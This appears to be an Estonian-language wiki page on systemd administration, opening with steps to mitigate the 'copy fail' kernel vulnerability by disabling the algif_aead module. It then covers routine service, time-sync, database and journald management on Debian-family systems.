====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3409</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3409"/>
		<updated>2026-05-02T10:06:53Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte - eksploit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
